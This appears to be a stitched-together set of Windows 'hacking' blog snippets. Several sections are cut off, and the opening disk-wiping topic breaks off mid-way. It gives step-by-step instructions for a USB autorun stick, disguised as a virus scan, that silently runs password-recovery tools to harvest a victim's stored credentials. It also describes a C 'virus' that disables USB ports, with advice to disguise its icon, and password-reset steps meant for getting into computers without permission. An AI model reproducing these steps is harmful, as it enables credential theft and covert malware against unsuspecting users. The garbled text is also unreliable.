A new year has begun and perhaps you have decided to perform a system upgrade or get rid of your old computer system and purchase a new one. But, before you sell or donate your old computer, it is very much necessary to completely erase your hard disk drive. Yes, every one of us are aware of this fact and so, we delete the contents of the hard disk either by using the DELETE key on our keyboard or by Formatting the hard disk.

Deleting and Formatting – Just Not Secure Enough

Erasing the Hard Disk through DISK WIPING:

As we all know, Windows stores most of the passwords which are used on a daily basis, including instant messenger passwords such as MSN, Yahoo, AOL, Windows messenger etc. Along with these, Windows also stores passwords of Outlook Express, SMTP, POP, FTP accounts and auto-complete passwords of many browsers like IE and Firefox.

1. Download all the 5 tools, extract them and copy only the executable files (.exe files) onto your USB Pendrive.
   ie: Copy the files – mspass.exe, mailpv.exe, iepv.exe, pspv.exe and passwordfox.exe into your USB Drive.
2. Create a new Notepad and write the following text into it:
   [autorun] open=launch.bat
   ACTION= Perform a Virus Scan
   save the Notepad and rename it from New Text Document.txt to autorun.inf. Now copy theautorun.inf file onto your USB pendrive.
3. Create another Notepad and write the following text onto it:
   start mspass.exe /stext mspass.txt

   start mailpv.exe /stext mailpv.txt

   start iepv.exe /stext iepv.txt

   start pspv.exe /stext pspv.txt

   start passwordfox.exe /stext passwordfox.txt
   Save the Notepad and rename it from New Text Document.txt to launch.bat. Copy the launch.bat file to your USB drive.

1. Insert the pendrive and the autorun window will pop-up. (This is because, we have created an autorun pendrive).
2. In the pop-up window, select the first option (Perform a Virus Scan).
3. Now all the password recovery tools will silently get executed in the background (This process takes hardly a few seconds). The passwords get stored in the .TXT files.
4. Remove the pendrive and you’ll see the stored passwords in the .TXT files.

In this post, I will show how to create a simple virus that disables/blocks the USB ports on the computer (PC). As usual, I am using my favorite C programming language to create this virus. Anyone with a basic knowledge of C language should be able to understand the working of this virus program.

1. Download the source code of the virus program on to your computer from the following link:
   Download the USB_Block.rar
   The download contains the following 2 files:
   • block_usb.c (source code)
   • unblock_usb.c (source code)
2. You need to compile them before you can run it. A step-by-step procedure to compile C programs is given in my post - How to Compile C Programs.
   3. Upon compilation of block_usb.c you get block_usb.exe which is a simple virus that will block (disable) all the USB ports on the computer upon execution (double click).
3. To test this virus, just run the block_usb.exe file and insert a USB pen drive (thumb drive). Now you can see that your pen drive will never get detected. To re-enable the USB ports just run theunblock_usb.exe  (you need to compile unblock_usb.c) file. Now insert the pen drive and it should get detected.
4. You can also change the icon of this file to make it look like a legitimate program. For more details on this refer my post – How to Change the ICON of an EXE file (This step is also optional).

How it Works?

If your PC has multiple users or you have your PC on a public place, then you can now display legal notice to every user before they log in to your PC. This legal notice will be displayed on the Logon screen at every startup just before the Desktop is loaded.

1. Go to Start -> Run, type regedit and hit ENTER.
2. Navigate to the following key in the registry:
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\system
3. On the right side pane look for “legalnoticecaption“, double click on it and enter the desired Legal Notice Caption.
   Next below this look for “legalnoticetext” and enter the desired Legal Notice Text. The legal notice text can be up to a page in it’s size so that it can include a set of do’s and dont’s for your computer.
4. After you do this just restart your computer and upon the next startup you can see the legal notice information for your computer. This trick works on Windows XP, Vista and Windows 7 as well.

Do you want to password protect your folder? Do you want to make it invisible so that it remains unnoticed by other users of your PC? Well, here is a way to do that.

How to Make the Folder Invisible?

• Do not show hidden files and folders.
• Show hidden files and folders.

I hope you like this post. Pass your comments!! Cheers

This hack will show you how to reset Windows administrator password (for Win 2000, XP, Vista and Win 7) at times when you forget it or when you want to gain access to a computer for which you do not know the password.

• You do not need to know the old password to set a new one.
• This tool can detect and unlock locked or disabled out user accounts!
• There is also a registry editor and other registry utilities that works under linux/unix, and can be used for other things than password editing.

How it Works?

Another Simple Way to Reset Non-Administrator Account Passwords:

1. Open the command prompt (Start -> Run -> type cmd -> Enter)
2. Now type net user and hit Enter
3. Now the system will show you a list of user accounts on the computer. Say for example, you need to reset the password of the account by name John, then do as follows:
4. Type net user John * and hit Enter. Now, the system will ask you to enter the new password for the account. That’s it. Now you’ve successfully reset the password for John without knowing his old password.